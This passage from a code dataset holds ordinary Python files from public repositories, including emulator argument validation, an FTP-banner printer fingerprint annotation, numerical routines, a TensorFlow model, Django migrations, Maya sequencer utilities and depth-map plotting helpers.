betty version to use. Only makes sense \"\n \"when launching a controller image with \"\n \"stable-cheeps-host-image\"))\n\n AddCommonCreateArgs(create_parser)\n return create_parser\n\n\ndef _PositiveInteger(arg):\n \"\"\"Convert an argument from a string to a positive integer.\"\"\"\n try:\n value = int(arg)\n except ValueError:\n raise argparse.ArgumentTypeError(arg + \" is not an integer.\")\n if value <= 0:\n raise argparse.ArgumentTypeError(arg + \" is not positive.\")\n return value\n\n\ndef _VerifyLocalArgs(args):\n \"\"\"Verify args starting with --local.\n\n Args:\n args: Namespace object from argparse.parse_args.\n\n Raises:\n errors.CheckPathError: Image path doesn't exist.\n errors.UnsupportedCreateArgs: The specified avd type does not support\n --local-system-image.\n errors.UnsupportedLocalInstanceId: Local instance ID is invalid.\n \"\"\"\n if args.local_image and not os.path.exists(args.local_image):\n raise errors.CheckPathError(\n \"Specified path doesn't exist: %s\" % args.local_image)\n\n # TODO(b/133211308): Support TYPE_CF.\n if args.local_system_image != \"\" and args.avd_type != constants.TYPE_GF:\n raise errors.UnsupportedCreateArgs(\"%s instance does not support \"\n \"--local-system-image\" %\n args.avd_type)\n\n if (args.local_system_image and\n not os.path.exists(args.local_system_image)):\n raise errors.CheckPathError(\n \"Specified path doesn't exist: %s\" % args.local_system_image)\n\n for tool_dir in args.local_tool:\n if not os.path.exists(tool_dir):\n raise errors.CheckPathError(\n \"Specified path doesn't exist: %s\" % tool_dir)\n\n if args.autoconnect == constants.INS_KEY_WEBRTC:\n if args.avd_type != constants.TYPE_CF:\n raise errors.UnsupportedCreateArgs(\n \"'--autoconnect webrtc' only support cuttlefish.\")\n\n\ndef _VerifyHostArgs(args):\n \"\"\"Verify args starting with --host.\n\n Args:\n args: Namespace object from argparse.parse_args.\n\n Raises:\n errors.UnsupportedCreateArgs: When a create arg is specified but\n unsupported for remote host mode.\n \"\"\"\n if args.remote_host and args.local_instance is not None:\n raise errors.UnsupportedCreateArgs(\n \"--host is not supported for local instance.\")\n\n if args.remote_host and args.num > 1:\n raise errors.UnsupportedCreateArgs(\n \"--num is not supported for remote host.\")\n\n if args.host_user != constants.GCE_USER and args.remote_host is None:\n raise errors.UnsupportedCreateArgs(\n \"--host-user only support for remote host.\")\n\n if args.host_ssh_private_key_path and args.remote_host is None:\n raise errors.UnsupportedCreateArgs(\n \"--host-ssh-private-key-path only support for remote host.\")\n\n\ndef VerifyArgs(args):\n \"\"\"Verify args.\n\n Args:\n args: Namespace object from argparse.parse_args.\n\n Raises:\n errors.UnsupportedFlavor: Flavor doesn't support.\n errors.UnsupportedMultiAdbPort: multi adb port doesn't support.\n errors.UnsupportedCreateArgs: When a create arg is specified but\n unsupported for a particular avd type.\n (e.g. --system-build-id for gf)\n \"\"\"\n # Verify that user specified flavor name is in support list.\n # We don't use argparse's builtin validation because we need to be able to\n # tell when a user doesn't specify a flavor.\n if args.flavor and args.flavor not in constants.ALL_FLAVORS:\n raise errors.UnsupportedFlavor(\n \"Flavor[%s] isn't in support list: %s\" % (args.flavor,\n constants.ALL_FLAVORS))\n if args.avd_type != constants.TYPE_CF:\n if args.system_branch or args.system_build_id or args.system_build_target:\n raise errors.UnsupportedCreateArgs(\n \"--system-* args are not supported for AVD type: %s\"\n % args.avd_type)\n\n if args.num > 1 and args.adb_port:\n raise errors.UnsupportedMultiAdbPort(\n \"--adb-port is not supported for multi-devices.\")\n\n if args.num > 1 and args.local_instance is not None:\n raise errors.UnsupportedCreateArgs(\n \"--num is not supported for local instance.\")\n\n if args.local_instance is None and args.gpu == _DEFAULT_GPU:\n raise errors.UnsupportedCreateArgs(\n \"Please assign one gpu model for GCE instance. Reference: \"\n \"https://cloud.google.com/compute/docs/gpus\")\n\n if args.adb_port:\n utils.CheckPortFree(args.adb_port)\n\n hw_properties = create_common.ParseHWPropertyArgs(args.hw_property)\n for key in hw_properties:\n if key not in constants.HW_PROPERTIES:\n raise errors.InvalidHWPropertyError(\n \"[%s] is an invalid hw property, supported values are:%s. \"\n % (key, constants.HW_PROPERTIES))\n\n cheeps_only_flags = [args.stable_cheeps_host_image_name,\n args.stable_cheeps_host_image_project,\n args.username,\n args.password,\n args.cheeps_betty_image]\n if args.avd_type != constants.TYPE_CHEEPS and any(cheeps_only_flags):\n raise errors.UnsupportedCreateArgs(\n \"--stable-cheeps-*, --betty-image, --username and --password are \"\n \"only valid with avd_type == %s\" % constants.TYPE_CHEEPS)\n if (args.username or args.password) and not (args.username and args.password):\n raise ValueError(\"--username and --password must both be set\")\n if not args.autoconnect and args.unlock_screen:\n raise ValueError(\"--no-autoconnect and --unlock couldn't be \"\n \"passed in together.\")\n\n _VerifyLocalArgs(args)\n _VerifyHostArgs(args)\n", "source": "LGWingEmulator/tools-acloud", "license": "Apache-2.0"}
+{"text": "x=[2,25,34,56,72,34,54]\nval=int(input(\"Enter the value you want to get searched : \"))\nfor i in x:\n if i==val:\n print(x.index(i))\n break\n elif x.index(i)==(len(x)-1) and i!=val:\n print(\"The Val u want to search is not there in the list\")\n\n\n\n\n\n", "source": "naman3vedi/Algorithm-Data-Structures", "license": "MIT"}
+{"text": "import re\nfrom ztag.annotation import Annotation\nfrom ztag.annotation import OperatingSystem\nfrom ztag.annotation import Type\nfrom ztag.annotation import Manufacturer\nfrom ztag import protocols\nimport ztag.test\n\n\nclass FtpSharp(Annotation):\n protocol = protocols.FTP\n subprotocol = protocols.FTP.BANNER\n port = None\n\n manufact_re = re.compile(\n \"^220 SHARP ((MX)|(AR))-[0-9A-Z]+ Ver \\d+(\\.[0-9a-z]+)+ FTP server\",\n re.IGNORECASE\n )\n product_re = re.compile(\"SHARP (.+) Ver\", re.IGNORECASE)\n version_re = re.compile(\n \"Ver (\\d+(?:\\.\\d+[a-z]?)*) FTP\",\n re.IGNORECASE\n )\n\n tests = {\n \"FtpSharp_1\": {\n \"global_metadata\": {\n \"device_type\": Type.GENERIC_PRINTER,\n \"manufacturer\": Manufacturer.SHARP,\n \"product\": \"MX-5110N\"\n },\n \"local_metadata\": {\n \"version\": \"01.05.00.0m.80\"\n }\n }\n }\n \n\n def process(self, obj, meta):\n banner = obj[\"banner\"]\n\n if self.manufact_re.search(banner):\n meta.global_metadata.device_type = Type.GENERIC_PRINTER\n meta.global_metadata.manufacturer = Manufacturer.SHARP\n\n product = self.product_re.search(banner).group(1)\n meta.global_metadata.product = product\n\n match = self.version_re.search(banner)\n meta.local_metadata.version = match.group(1)\n\n return meta\n\n \"\"\" Tests\n \"220 SHARP MX-3100N Ver 01.05.00.0b FTP server.\\r\\n\"\n \"220 SHARP MX-2010U Ver 01.05.00.2k.56 FTP server.\\r\\n\"\n \"220 SHARP MX-2300N Ver 01.02.00.0i FTP server.\\r\\n\"\n \"220 SHARP MX-5001N Ver 01.05.00.0k FTP server.\\r\\n\"\n \"220 SHARP MX-M502N Ver 01.05.00.0m FTP server.\\r\\n\"\n \"220 SHARP MX-C312 Ver 01.05.00.0m FTP server.\\r\\n\"\n \"220 SHARP MX-4140N Ver 01.06.00.0f.01 FTP server.\\r\\n\"\n \"220 SHARP MX-5110N Ver 01.05.00.0m.80 FTP server.\\r\\n\"\n \"220 SHARP MX-M450N Ver 01.04.00.0g FTP server.\\r\\n\"\n \"220 SHARP MX-C312 Ver 01.05.00.0m FTP server.\\r\\n\"\n \"220 SHARP AR-M257 Ver 01.04.00.0e FTP server.\\r\\n\"\n \"220 SHARP MX-M550N Ver 01.04.00.0c FTP server.\\r\\n\"\n \"220 SHARP MX-C300W Ver 02.03.E1.00 FTP server.\\r\\n\"\n \"220 SHARP MX-M452N Ver 01.05.00.0k FTP server.\\r\\n\"\n \"220 SHARP MX-M452N Ver 01.05.00.0k FTP server.\\r\\n\"\n \"220 SHARP MX-2010U Ver 01.05.00.2k.51 FTP server.\\r\\n\"\n \"220 SHARP MX-2010U Ver 01.05.00.2k.56 FTP server.\\r\\n\"\n \"220 SHARP MX-2615N Ver 01.05.00.0q.06 FTP server.\\r\\n\"\n \"220 SHARP MX-M450U Ver 01.04.00.0e FTP server.\\r\\n\"\n \"220 SHARP MX-4101N Ver 01.05.00.0k FTP server.\\r\\n\"\n \"220 SHARP MX-M452N Ver 01.05.00.0k FTP server.\\r\\n\"\n \"220 SHARP MX-4112N Ver 01.05.00.0o.12 FTP server.\\r\\n\"\n \"220 SHARP MX-2300N Ver 01.02.00.0d FTP server.\\r\\n\"\n \"220 SHARP MX-2314N Ver 01.05.00.0q.06 FTP server.\\r\\n\"\n \"220 SHARP MX-3501N Ver 01.02.00.0e FTP server.\\r\\n\"\n \"220 SHARP MX-6240N Ver 01.06.00.00.107 FTP server.\\r\\n\"\n \"220 SHARP MX-2600FN Ver 01.05.00.0m FTP server.\\r\\n\"\n \"220 SHARP MX-2300N Ver 01.02.00.0i FTP server.\\r\\n\"\n \"220 SHARP MX-B400P Ver 01.05.00.0k FTP server.\\r\\n\"\n \"220 SHARP MX-5112N Ver 01.05.00.0o.12 FTP server.\\r\\n\"\n \"220 SHARP MX-2610N Ver 01.05.00.0m.93.U FTP server.\\r\\n\"\n \"\"\"\n", "source": "justinbastress/ztag", "license": "Apache-2.0"}
+{"text": "import argparse\nfrom .utils import GridSearch\n\ndef get_grid_search_params(mode, classifier, n_way, n_val, n_shot, dataset, dot_name, arena):\n grid = GridSearch()\n grid.add_range('dataset', [dataset])\n grid.add_range('mode', [mode])\n grid.add_range('n_way', [n_way])\n grid.add_range('n_val', [n_val])\n grid.add_range('n_shot', [n_shot])\n if mode == 'monitoring_volume':\n grid.add_range('num_neighbors', [20])\n grid.add_range('regular', [False])\n grid.add_range('higher_order', [False])\n grid.add_range('kappa', [2]) # [1, 2, 3]\n grid.add_range('alpha', [0.75]) # [1.25]\n if arena:\n grid.add_range('intersection_measure', ['arena'])\n else:\n grid.add_range('intersection_measure', ['louvain_dendrogram'])\n # grid.add_range('intersection_measure', ['minimum_cut'])\n # grid.add_range('intersection_measure', ['stoer_wagner'])\n # grid.add_range('intersection_measure', ['kernighan'])\n # grid.add_range('intersection_measure', ['baseline'])\n grid.add_range('communities', ['entropy']) # 'pure'\n grid.add_range('worse_only', [False])\n grid.add_range('parts', [64])\n grid.add_range('crop', [False]) # 'pure'\n grid.add_range('ladder', [-1]) # 'pure'\n grid.add_range('dot_name', [dot_name])\n grid.add_range('origin_normalization', ['mean-l2'])\n grid.add_range('latent_normalization', ['l2'])\n grid.add_range('classifier', [classifier]) # ['logistic_regression', 'ncm']\n grid.add_range('compute_corr', [True])\n grid.add_range('plot', [True])\n grid.add_range('progressive_plot', [False])\n return grid\n\ndef parse_args(modes):\n parser = argparse.ArgumentParser(description='Graph Smoothness.')\n parser.add_argument('--dataset', default='wideresnet', help='Dataset key.')\n parser.add_argument('--mode', default='monitoring_volume', help='Mode of regularization. Can be %s'%modes)\n parser.add_argument('--classifier', default='logistic_regression', help='How to classify examples.')\n parser.add_argument('--n_way', default=5, type=int, help='number of classes.')\n parser.add_argument('--n_val', default=595, type=int, help='number of validation examples.')\n parser.add_argument('--n_shot', default=5, type=int, help='number of training examples.')\n parser.add_argument('--dot_name', default='densenet-m/novel/louvain_dendrogram_communities_1_20.dot')\n parser.add_argument('--arena', action='store_true')\n return parser.parse_args()\n", "source": "mbonto/fewshot_generalization", "license": "MIT"}
+{"text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat May 2 03:48:59 2020\n\n@author: lukepinkel\n\"\"\"\n\nimport scipy as sp # analysis:ignore\nimport numpy as np # analysis:ignore\n\n\ndef difference_mat(k, order=2):\n Dk = np.diff(np.eye(k), order, axis=0)\n return Dk\n \n\ndef equispaced_knots(x, degree, ndx):\n xl = np.min(x)\n xr = np.max(x)\n dx = (xr - xl) / ndx\n order = degree + 1\n lb = xl - order * dx\n ub = xr + order * dx\n knots = np.arange(xl - order * dx, xr + order * dx, dx)\n return knots, order, lb, ub\n\ndef bspline(x, knots, degree, deriv=0):\n if len(knots)<=(degree+1):\n raise ValueError(\"Number of knots must be greater than order\")\n order = degree + 1\n q = len(knots) - order\n u = np.zeros(q)\n B = np.zeros((len(x), q))\n for i in range(q):\n u[i] = 1\n tck = (knots, u, degree)\n B[:, i] = sp.interpolate.splev(x, tck, der=deriv)\n u[i] = 0\n return B[:, 1:]\n\ndef bspline_des(x, degree=3, ndx=20, deriv=0):\n knots, order, _, _ = equispaced_knots(x, degree, ndx)\n B = bspline(x, knots, degree, deriv)\n return B", "source": "lukepinkel/pylmm", "license": "MIT"}
+{"text": "import tensorflow as tf\nimport numpy as np\n\nclass MaxoutNN():\n def __init__(self, input_dim, hidden_layers, output_dim):\n self.input_dim = input_dim\n self.hidden_layers = hidden_layers\n self.output_dim = output_dim\n\n self.inp = tf.placeholder(tf.float32, [None, self.input_dim], 'inp')\n self.target = tf.placeholder(tf.float32, [None, self.output_dim], 'target')\n self.train = tf.placeholder(tf.bool, [], 'train')\n\n self.construct_model()\n self.sess = tf.Session()\n self.optim = None\n\n def construct_model(self, initializer='glorot_normal', \n norm='None', activation='maxout2'):\n self.initializer = get_initializer(initializer)\n\n if 'maxout' not in activation:\n self.activation = get_activation(activation)\n self.normalize = get_normalize(norm, self.activation, self.train)\n \n if 'maxout' in activation:\n self.maxout_hidden_layers = self.hidden_layers\n self.hidden_layers = [h*int(activation.lstrip('maxout')) for h in self.hidden_layers]\n\n self.ws = [tf.get_variable('w0', \n shape = [self.input_dim, self.hidden_layers[0]],\n dtype = tf.float32, initializer = self.initializer)]\n self.bs = [tf.get_variable('b0', \n shape = [self.hidden_layers[0]],\n dtype = tf.float32, initializer = tf.initializers.zeros)]\n if 'maxout' in activation:\n self.activation = get_activation(activation, self.maxout_hidden_layers[0])\n self.normalize = get_normalize(norm, self.activation, self.train)\n self.hiddens = [self.normalize(self.inp @ self.ws[0] + self.bs[0])]\n else:\n self.hiddens = [self.normalize(self.inp @ self.ws[0] + self.bs[0])]\n\n for i in range(1, len(self.hidden_layers)):\n self.ws += [tf.get_variable('w'+str(i), \n shape = [self.hidden_layers[i-1] if 'maxout' not in activation else\n self.maxout_hidden_layers[i-1], self.hidden_layers[i]],\n dtype = tf.float32, initializer = self.initializer)]\n self.bs += [tf.get_variable('b'+str(i), \n shape = [self.hidden_layers[i]],\n dtype = tf.float32, initializer = tf.initializers.zeros)]\n if 'maxout' in activation:\n self.activation = get_activation(activation, self.maxout_hidden_layers[i])\n self.normalize = get_normalize(norm, self.activation, self.train)\n self.hiddens.append(self.normalize(self.hiddens[-1] @ self.ws[i] + self.bs[i]))\n else:\n self.hiddens.append(self.normalize(self.hiddens[-1] @ self.ws[i] + self.bs[i]))\n\n self.ws += [tf.get_variable('w'+str(len(self.hidden_layers)), \n shape = [self.hidden_layers[-1] if 'maxout' not in activation else\n self.maxout_hidden_layers[-1], self.output_dim],\n dtype = tf.float32, initializer = self.initializer)]\n self.bs += [tf.get_variable('b'+str(len(self.hidden_layers)), \n shape = [self.output_dim],\n dtype = tf.float32, initializer = tf.initializers.zeros)]\n self.logits = self.hiddens[-1] @ self.ws[len(self.hidden_layers)] + self.bs[len(self.hidden_layers)]\n self.pred = tf.nn.softmax(self.logits, 1)\n\n self.loss = tf.reduce_mean(\n tf.nn.softmax_cross_entropy_with_logits_v2(labels = self.target,\n logits = self.logits))\n\n self.correct_pred = tf.equal(\n tf.argmax(self.pred, 1), tf.argmax(self.target, 1))\n self.accuracy = tf.reduce_mean(\n tf.cast(self.correct_pred, \"float\"))\n\n self.confusion_matrix = tf.confusion_matrix(labels = tf.argmax(self.target, 1),\n predictions = tf.argmax(self.pred, 1))\n\n self.sess = tf.Session()\n self.optim = None\n \n def model_init(self):\n self.sess.run(tf.global_variables_initializer())\n\n def train_setting(self, optimizer='Adam'):\n self.optim = get_optimizer(optimizer)\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n self.step = self.optim.minimize(self.loss)\n\n def train_step(self, x, y):\n outputs = [self.step]\n return self.sess.run(outputs, feed_dict = {self.inp:x, self.target:y, self.train:True})\n\n def forward(self, x, y=None, train=False):\n if len(x.shape) != 2:\n x = x.reshape(-1, np.prod(x.shape[1:]))\n # assert len(x.shape) == 2, x.shape\n assert x.shape[1] == self.input_dim, x.shape\n\n outputs = [self.pred]\n feed_dict = {self.inp:x, self.train:train}\n if y is not None:\n outputs += [self.loss, self.accuracy, self.confusion_matrix]\n feed_dict.update({self.target:y})\n return self.sess.run(outputs, feed_dict=feed_dict)\n\ndef get_activation(activation, param=1):\n if activation == 'relu':\n return tf.nn.relu\n elif activation == 'sigmoid':\n return tf.nn.sigmoid\n elif activation == 'tanh':\n return tf.nn.tanh\n elif 'maxout' in activation:\n def activation(inp):\n return tf.contrib.layers.maxout(inp, param)\n return activation\n else:\n assert False, activation\n \ndef get_normalize(norm, activation, train):\n if norm == 'batch_norm':\n def normalize(inp):\n return tf.contrib.layers.batch_norm(inp, \n activation_fn = activation)\n elif norm == 'layer_norm':\n def normalize(inp):\n return tf.contrib.layers.layer_norm(inp, \n activation_fn = activation)\n elif 'dropout' in norm:\n def normalize(inp):\n return tf.contrib.layers.dropout(activation(inp),\n keep_prob=1-float(norm.lstrip('dropout')),\n is_training=train)\n elif norm == 'None':\n def normalize(inp):\n return activation(inp)\n else:\n assert False, norm\n return normalize \n\ndef get_initializer(initializer):\n if initializer == 'truncated_normal':\n return tf.initializers.truncated_normal\n elif initializer == 'glorot_normal':\n return tf.initializers.glorot_normal\n elif initializer == 'glorot_uniform':\n return tf.initializers.glorot_uniform\n elif initializer == 'he_normal':\n return tf.initializers.hi_normal\n elif initializer == 'he_uniform':\n return tf.initializers.hi_uniform\n elif initializer == 'lecun_normal':\n return tf.initializers.lecun_normal\n elif initializer == 'lecun_uniform':\n return tf.initializers.lecun_uniform\n else:\n assert False, initializer\n\ndef get_optimizer(optimizer):\n if optimizer == 'Adam':\n return tf.train.AdamOptimizer()\n", "source": "YoNyeoSeok/MNIST_Classification", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nMetodo di newton\n\"\"\"\nimport numpy as np\n\ndef newton(func, dfunc, x0, tolx, tolf, max_iterazioni):\n xks = []\n it = 0\n if not (abs(dfunc(x0) > np.spacing(1))): # per evitare di dividere per zero\n print(\"Derivata nulla in x0 - EXIT\") \n return [],it,xks\n d = func(x0)/dfunc(x0)\n xks.append(x0 - d)\n fxk = func(xks[it])\n it += 1\n while it < max_iterazioni and abs(fxk) >= tolf and abs(d) >= tolx*abs(xks[it-1]):\n x0 = xks[it-1]\n if not (abs(dfunc(x0) > np.spacing(1))):\n print(\"Derivata nulla in x0 - EXIT\")\n return xks[it-1],it,xks\n d = func(x0)/dfunc(x0)\n xks.append(x0 - d)\n fxk = func(xks[it])\n it += 1\n if it == max_iterazioni:\n print(\"Numero massimo di iterazioni raggiunte\")\n return xks[it-1],it,xks", "source": "Ro0t-set/metodi-numerici", "license": "MIT"}
+{"text": "# Copyright 2020 Bruno P. Kinoshita\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\n\"\"\"Tests for the node_iterators.\"\"\"\n\nimport pytest\n\nfrom decyclify.functions import decyclify\nfrom decyclify.node_iterators import CycleIterator, TasksIterator\n\nfrom networkx import DiGraph\n\n\n@pytest.mark.parametrize('graph,cycles,error', [\n (DiGraph(), None, TypeError),\n (10, 1, TypeError),\n (DiGraph(), -1, ValueError)\n])\ndef test_cycle_iterator_validation_error(graph, cycles, error):\n with pytest.raises(error):\n # noinspection PyTypeChecker\n CycleIterator(graph, cycles)\n\ndef test_cycle_iterators(sample_graph):\n graph, cycles_removed = decyclify(sample_graph, 'a')\n\n iterator = CycleIterator(graph, cycles=2)\n\n expected = [['a.0'], ['b.0', 'e.0'], ['c.0'], ['d.0'], ['a.1'], ['b.1', 'e.1'], ['c.1'], ['d.1']]\n iterated = []\n\n for index, node in enumerate(iterator):\n iterated.append(node)\n if index > len(expected):\n pytest.fail('iterator iterations exceeded length of expected values!')\n\n assert iterated == expected\n\n@pytest.mark.parametrize('graph,cycles,error', [\n (DiGraph(), None, TypeError),\n (10, 1, TypeError),\n (DiGraph(), -1, ValueError)\n])\ndef test_tasks_iterator_validation_error(graph, cycles, error):\n with pytest.raises(error):\n # noinspection PyTypeChecker\n TasksIterator(graph=graph, cycles_removed=[], cycles=cycles)\n\ndef test_tasks_iterator(sample_graph):\n graph, cycles_removed = decyclify(sample_graph, 'a')\n\n iterator = TasksIterator(graph, cycles_removed, cycles=2)\n\n expected = [['a.0'], ['b.0', 'e.0', 'a.1'], ['c.0', 'b.1', 'e.1'], ['d.0', 'c.1'], ['d.1']]\n iterated = []\n\n for index, node in enumerate(iterator):\n iterated.append(node)\n if index > len(expected):\n pytest.fail('iterator iterations exceeded length of expected values!')\n\n assert iterated == expected\n", "source": "kinow/decyclify", "license": "Apache-2.0"}
+{"text": "__version__ = \"1.5.0\"\n\nfrom deriva.qt.common.async_task import async_execute, Task\nfrom deriva.qt.common.log_widget import QPlainTextEditLogger\nfrom deriva.qt.common.table_widget import TableWidget\nfrom deriva.qt.common.json_editor import JSONEditor\n\nfrom deriva.qt.auth_agent.ui.auth_window import AuthWindow\nfrom deriva.qt.auth_agent.ui.embedded_auth_window import EmbeddedAuthWindow\n\nfrom deriva.qt.upload_gui.ui.upload_window import UploadWindow\nfrom deriva.qt.upload_gui.deriva_upload_gui import DerivaUploadGUI\n\nimport os\nimport sys\n\nif sys.platform == \"darwin\":\n if getattr(sys, \"frozen\", False) and getattr(sys, \"executable\", False):\n executableDir = os.path.join(os.path.dirname(sys.executable))\n webEngineProcessLocation = os.path.join(executableDir, 'lib', 'PyQt5', 'Qt5', 'lib',\n 'QtWebEngineCore.framework', 'Helpers', 'QtWebEngineProcess.app',\n 'Contents', 'MacOS', 'QtWebEngineProcess')\n os.environ['QTWEBENGINEPROCESS_PATH'] = webEngineProcessLocation\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
+{"text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('medicamentos', '0002_auto_20151014_0011'),\n ('clientes', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Detalle_Tickets',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('cantidad', models.IntegerField(max_length=9)),\n ('medicamento', models.ForeignKey(to='medicamentos.Medicamentos')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.CreateModel(\n name='Ticket',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('codigo', models.CharField(unique=True, max_length=10)),\n ('fecha', models.DateTimeField(auto_now_add=True)),\n ('cliente', models.ForeignKey(blank=True, to='clientes.Cliente', null=True)),\n ('medicamento', models.ManyToManyField(to='medicamentos.Medicamentos', through='ventas.Detalle_Tickets')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.AddField(\n model_name='detalle_tickets',\n name='ticket',\n field=models.ForeignKey(to='ventas.Ticket'),\n preserve_default=True,\n ),\n ]\n", "source": "cluco91/Django_Farmacia", "license": "MIT"}
+{"text": "\"\"\"\nUtils module about the camera sequencer tracks.\n\"\"\"\n\nimport re\nfrom maya import cmds\n\n\ndef list_track_shots(track):\n \"\"\"\n List all Maya shot node belonging to a sequencer track.\n :param int track:\n :rtype: list[str]\n \"\"\"\n return [\n shot for shot in cmds.ls(type=\"shot\")\n if cmds.getAttr(shot + \".track\") == track]\n\n\ndef tracks_to_lists():\n \"\"\"\n Convert tracks to lists of shot. Create a shot list by track.\n :rtype: list[list[str]]\n \"\"\"\n shots = cmds.ls(type=\"shot\")\n tracks = [[]] * cmds.shotTrack(query=True, numTracks=True)\n for shot in shots:\n # Tracks count start at 1 instead of 0.\n track = cmds.getAttr(shot + \".track\") - 1\n tracks[track].append(shot)\n return tracks\n\n\ndef find_track_with_free_range(start_frame, end_frame):\n \"\"\"\n Find a track which doesn't contain any shot in the given frame range.\n If no track found, None is returned.\n :param float start_frame: Sequence start time.\n :param float end_frame: Sequence end time.\n :rtype: int|None\n \"\"\"\n # Verifying shot range track by track.\n for i, track in enumerate(tracks_to_lists()):\n for shot in track:\n shot_start_frame = cmds.getAttr(shot + \".sequenceStartFrame\")\n shot_end_frame = cmds.getAttr(shot + \".sequenceEndFrame\")\n overlaps = (\n start_frame <= shot_start_frame <= end_frame or\n start_frame <= shot_end_frame <= end_frame)\n if overlaps:\n break\n # If the shot loop didn't detected a shot overlapping the given range,\n # the code will hit the \"else\" statement. 1 is add to the result to\n # compensate track count start at 1 instead of 0.\n else:\n return i + 1\n\n\ndef list_track_titles():\n \"\"\"\n List all the track titles sorted by index.\n :rtype: list[str]\n \"\"\"\n tracks = cmds.shotTrack(query=True, numTracks=True)\n return [\n cmds.shotTrack(track=i, query=True, title=True)\n for i in range(1, tracks + 1)]\n\n\ndef list_used_sequencer_track_indexes():\n \"\"\"\n List all the camera sequencer tracks indexes containing at least one shot.\n :rtype: list[int]\n \"\"\"\n return list(set(\n cmds.shot(shot, track=True, query=True)\n for shot in cmds.ls(type=\"shot\")))\n\n\ndef remove_unused_sequencer_tracks():\n \"\"\"\n For some reasons, cmds.shotTrack(removeEmptyTracks=True) doesn't remove any\n track. This function do that.\n \"\"\"\n used_tracks_indexes = list_used_sequencer_track_indexes()\n for i in range(cmds.shotTrack(numTracks=True, query=True), 0, -1):\n if i in used_tracks_indexes:\n continue\n cmds.shotTrack(removeTrack=i)\n\n\ndef append_sequencer_track(title=\"\"):\n \"\"\"\n Append a track at the end of the camera sequencer.\n :param str title: Name of the track.\n :rtype: int\n :return: Index of the created track.\n \"\"\"\n index = cmds.shotTrack(numTracks=True, query=True) + 1\n cmds.shotTrack(insertTrack=index, title=title)\n return index\n\n\ndef list_shots_on_sequencer_track(index):\n \"\"\"\n List the shots on a set on a given track index.\n :param int index: track index\n :rtype: list[str]\n :return: Maya shot node names.\n \"\"\"\n shots = cmds.ls(type=\"shot\")\n return [shot for shot in shots if cmds.getAttr(shot + \".track\") == index]\n\n\ndef find_track_index(track_title):\n \"\"\"\n Find the first track holding the given title.\n :param str track_title:\n :rtype: int\n \"\"\"\n for i in range(cmds.shotTrack(numTracks=True, query=True), 0, -1):\n if cmds.shotTrack(track=i, query=True, title=True) == track_title:\n return i\n\n\ndef list_track_indexes_with_matching_title(regex):\n \"\"\"\n List the existing tracks with a name matching to the given regex\n \"\"\"\n return [\n i for i in range(cmds.shotTrack(numTracks=True, query=True), 0, -1)\n if re.findall(regex, cmds.shotTrack(track=i, query=True, title=True))]\n\n\ndef clear_sequencer_track_shots(index):\n \"\"\"\n Remove all shots found on the corresponding to the given index\n :param int index:\n \"\"\"\n shots = [\n shot for shot in cmds.ls(type=\"shot\")\n if cmds.getAttr(shot + \".track\") == index]\n for shot in shots:\n cmds.shot(shot, edit=True, lock=False)\n cmds.delete(shots)\n cmds.shotTrack(removeTrack=index)\n", "source": "DreamWall-Animation/dwmaya", "license": "MIT"}
+{"text": "import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nfrom torchvision import transforms\nfrom torchvision.io import read_image, ImageReadMode\nfrom torch.utils.data import Dataset, DataLoader\nimport cv2\nimport os\nimport time\nfrom copy import deepcopy\nimport matplotlib.pyplot as plt\nimport os\n\nfrom .PATH__ import *\n\ndef depth2Cutoff(depth_map, cutoff):\n '''@param depth_map ~ (H x W) needs to be numpy array'''\n heatmap = np.ones((*depth_map.shape, 3))\n heatmap[depth_map < cutoff] *= 150\n heatmap[depth_map >= cutoff] *= 50\n return heatmap.astype(np.int64)\n\n\ndef depth2Heatmap(depth_map, min_display=1e-4, max_display=255):\n '''@param depth_map ~ (H x W) needs to be numpy array'''\n r = (np.max(depth_map) - np.min(depth_map)) / 10\n heatmap = np.zeros((*depth_map.shape, 3))\n for i in range(depth_map.shape[0]):\n for j in range(depth_map.shape[1]):\n if not min_display < depth_map[i,j] < max_display:\n continue\n if depth_map[i,j] < r:\n heatmap[i,j,2] = 255 - depth_map[i,j] / r * 255 \n heatmap[i,j,0] = depth_map[i,j] / r * 255 \n elif r < depth_map[i,j] < 5*r:\n heatmap[i,j,0] = 255 - (depth_map[i,j]-r) / (4*r) * 255 \n heatmap[i,j,1] = (depth_map[i,j]-r) / (4*r) * 255 \n else:\n heatmap[i,j,1] = 255 - (depth_map[i,j]-4*r) / (6*r) * 255 \n heatmap[i,j,2] = (depth_map[i,j]-4*r) / (6*r) * 255 \n # heatmap[:,:,0] *= 15\n return heatmap.astype(np.int64)\n\n\ndef drawHeatmap(depth_map, min_display=0, max_display=100):\n h = depth2Heatmap(depth_map, min_display=0, max_display=100)\n \n plt.figure(figsize=(20,10))\n plt.imshow(h)\n plt.savefig(\"heat.png\")\n x = np.arange(70).reshape(1, -1)\n x = np.vstack((x,x,x))\n hb = depth2Heatmap(x)\n plt.figure()\n plt.imshow(hb) \n\n\ndef plot_depth_map(dm, validity_mask, save_path):\n validity_mask = validity_mask > 0\n MIN_DEPTH = 0.5\n MAX_DEPTH = min(300, np.percentile(dm, 99))\n dm = np.clip(dm, MIN_DEPTH, MAX_DEPTH)\n dm = np.log(dm, where=validity_mask)\n\n dm = np.ma.masked_where(~validity_mask, dm)\n dm = 